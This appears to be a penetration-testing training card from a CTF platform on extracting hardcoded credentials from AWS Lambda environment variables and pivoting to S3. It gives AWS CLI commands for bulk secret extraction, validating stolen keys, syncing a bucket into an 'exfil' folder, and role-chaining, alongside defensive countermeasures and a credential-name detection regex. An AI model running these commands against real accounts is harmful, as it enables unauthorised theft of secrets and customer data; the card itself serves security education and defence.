Browse CTFs New CTF Sign in

Lambda-to-Secrets-Manager Privilege Chain: Function Role Exploitation for Secret Retrieval

network_forensics_pcap Difficulty 1–5 30 min certifiable

Theory

Why This Matters

In 2021, security researchers auditing a SaaS company's AWS environment discovered that a Lambda function used for ETL processing stored an S3 bucket name and a hardcoded AWS_SECRET_ACCESS_KEY as environment variables. The function's execution role had lambda:GetFunctionConfiguration granted to a developer IAM group "to aid debugging." Any developer in that group — including contractors — could retrieve the hardcoded key, which had s3:* on a bucket containing all customer analytics data. The hardcoded key bypassed the rotation schedule applied to the execution role credentials, had been unchanged for three years, and was never flagged by the company's credential rotation tooling because it appeared as an application config value rather than an IAM user key. This pattern — credentials in environment variables combined with an overpermissive IAM policy that allows reading function configuration — is one of the most common serverless security findings.

Core Concept

This card covers a two-step chained attack: credential extraction from a Lambda function's environment variables, followed by S3 data exfiltration using those credentials.

In step one, the attacker has an IAM identity with lambda:ListFunctions and lambda:GetFunctionConfiguration permissions. These permissions are commonly granted for operational purposes (developers need to check function settings). lambda:GetFunctionConfiguration returns the full function configuration including the Environment.Variables map in plaintext. If any environment variable contains an AWS access key, a database password, or an S3 bucket name paired with authentication credentials, the attacker has everything needed for the pivot.

The second step exploits the credentials found in the environment variables. Unlike the execution role credentials (which rotate automatically and expire), hardcoded AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY pairs in environment variables are long-lived IAM user keys that do not rotate unless explicitly rotated. These keys often belong to service accounts with broad permissions defined when the function was first written.

Role-chaining within Lambda is a related pattern: the Lambda execution role may have sts:AssumeRole permission on a second role with broader access. The attacker can invoke the function with a crafted event payload that causes the function to assume the second role and return its temporary credentials — or the attacker can directly call sts:AssumeRole with the credentials extracted from the environment variables if those credentials have that permission.

Cross-account access via resource-based policies extends the impact: the S3 bucket may have a bucket policy that allows access from accounts other than the bucket owner. If the credentials found in the Lambda environment belong to a cross-account identity, the pivot may reach a completely different AWS account's resources.

Technical Deep-Dive

# ── Step 1: Enumerate Lambda functions ───────────────────────
aws lambda list-functions 
  --query "Functions[*].[FunctionName,Runtime,Role]" 
  --output table

# ── Step 2: Extract environment variables from each function ──
# Quick single-function extraction
aws lambda get-function-configuration 
  --function-name prod-etl-processor 
  --query "Environment.Variables" 
  --output json

# Bulk extraction across all functions (bash loop)
for fn in $(aws lambda list-functions --query "Functions[*].FunctionName" --output text); do
  echo "=== $fn ==="
  aws lambda get-function-configuration 
    --function-name "$fn" 
    --query "Environment.Variables" 
    --output json 2>/dev/null
done

# ── Step 3: Identify credential patterns in env vars ──────────
# Look for: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DB_PASSWORD,
#           API_KEY, AUTH_TOKEN, S3_BUCKET + *_KEY pairs

# ── Step 4: Validate extracted credentials ───────────────────
export AWS_ACCESS_KEY_ID="AKIA..."       # long-lived key (AKIA prefix, not ASIA)
export AWS_SECRET_ACCESS_KEY="..."
# Note: no SESSION_TOKEN needed for long-lived keys

aws sts get-caller-identity
# Confirm it is an IAM user, not a role (long-lived keys belong to users)

# ── Step 5: Check key age and permissions ─────────────────────
aws iam list-access-keys --user-name $(aws iam get-user --query User.UserName --output text)
# Check CreateDate — keys older than 90 days represent a rotation violation

aws iam simulate-principal-policy 
  --policy-source-arn $(aws iam get-user --query User.Arn --output text) 
  --action-names s3:GetObject s3:ListBucket s3:PutObject 
  --resource-arns "arn:aws:s3:::*" "arn:aws:s3:::*/*"

# ── Step 6: S3 exfiltration ───────────────────────────────────
# Use bucket name from DATA_BUCKET env var or enumerate
aws s3 ls
aws s3 ls s3://company-analytics-data --recursive | grep -c "" # count objects
aws s3 sync s3://company-analytics-data ./exfil/ --quiet

# ── Step 7: Check for cross-account resource-based policies ───
aws s3api get-bucket-policy --bucket company-analytics-data | python3 -m json.tool
# Look for Principal from a different account ID

Security Assessment Methodology

  1. Enumerate all Lambda functions and record function names, runtimes, execution role ARNs, and VPC configurations.
  2. Extract environment variables from every function using lambda:GetFunctionConfiguration. Build a map of all key-value pairs across all functions and grep for credential patterns: AKIA, SECRET, KEY, PASS, TOKEN, BUCKET.
  3. Classify found credentials — distinguish long-lived IAM user keys (AKIA prefix) from execution role credentials (ASIA prefix). Long-lived keys are higher-severity findings because they do not auto-rotate.
  4. Validate credentials with aws sts get-caller-identity and determine the identity type (user vs. role) and associated policies.
  5. Enumerate S3 access using the extracted credentials. List all buckets (aws s3 ls), then recursively list each bucket to identify sensitive content. Use the DATA_BUCKET or similar env var as the primary pivot target.
  6. Test role-chaining — check whether the extracted credentials can call sts:AssumeRole on any roles with broader access than the current identity.
  7. Assess CloudTrail and GuardDuty coverage — determine whether the credential extraction and S3 access would have generated detectable findings. Report detection gaps alongside the vulnerability.

Defensive Countermeasure — Migrate all Lambda credentials to AWS Secrets Manager. Grant the execution role the specific policy {"Effect": "Allow", "Action": "secretsmanager:GetSecretValue", "Resource": "arn:aws:secretsmanager:us-east-1:123456789012:secret:prod/etl/s3-key-AbCdEf"}. Remove all credential-bearing environment variables. Enforce this with an AWS Config custom rule that flags any Lambda function whose environment variable keys match /(KEY|SECRET|PASSWORD|TOKEN|CREDENTIAL)/i and auto-remediates by publishing a CloudWatch metric alarm. Additionally, revoke lambda:GetFunctionConfiguration from all non-admin IAM groups.

Common Assessment Errors

  • Stopping at function enumerationlist-functions alone reveals nothing sensitive. The critical step is calling get-function-configuration on every function, which many assessors skip for large function inventories.
  • Missing KMS-encrypted environment variables — if KMSKeyArn is set, env vars are encrypted at rest but decrypted before delivery to GetFunctionConfiguration. The response still contains plaintext values. KMS encryption protects data at rest in AWS systems, not from API read access.
  • Ignoring dead-letter queues and destinations — Lambda async failure destinations and DLQs may receive function payloads including sensitive data in event bodies. Enumerate with aws lambda get-function-event-invoke-config.
  • Not checking lambda:GetFunction — this action (different from GetFunctionConfiguration) returns a pre-signed URL to download the deployment package ZIP. The source code may contain hardcoded credentials that are not present in env vars.
  • Failing to test role-chaining — environment variable credentials often belong to users with sts:AssumeRole on multiple roles. Enumerate assumable roles with aws iam list-roles and test each with aws sts assume-role.
  • Missing cross-account bucket policies — extracted credentials may be from a cross-account service user. Check bucket policies on all accessible buckets for cross-account principal grants.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0053 Knowledge of cloud infrastructure vulnerabilities and attack surfaces Explains Lambda environment variable storage mechanics, long-lived vs. temporary credential differences, and cross-account pivot paths
K0167 Knowledge of systems security testing methodologies Develops a seven-step chained serverless assessment from function enumeration through S3 exfiltration and detection gap analysis
S0073 Skill in using penetration testing tools and techniques against cloud infrastructure Trains bulk environment variable extraction, credential classification by key prefix, and AWS CLI-based S3 pivot techniques
T0144 Task: Conduct penetration testing on cloud-hosted systems Directly exercises the two-step Lambda-to-S3 attack chain including role-chaining and cross-account access testing
T0395 Task: Recommend security controls for cloud environments Develops Secrets Manager migration strategy, execution role least-privilege design, and AWS Config automated remediation

Further Reading

  • "Securing Lambda Environment Variables with AWS Secrets Manager" — AWS Security Blog
  • "Lambda Security Best Practices: Execution Roles and Secrets" — AWS Documentation, Lambda Developer Guide
  • "Serverless Goat — OWASP Serverless Security Demonstration Environment" — OWASP GitHub

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.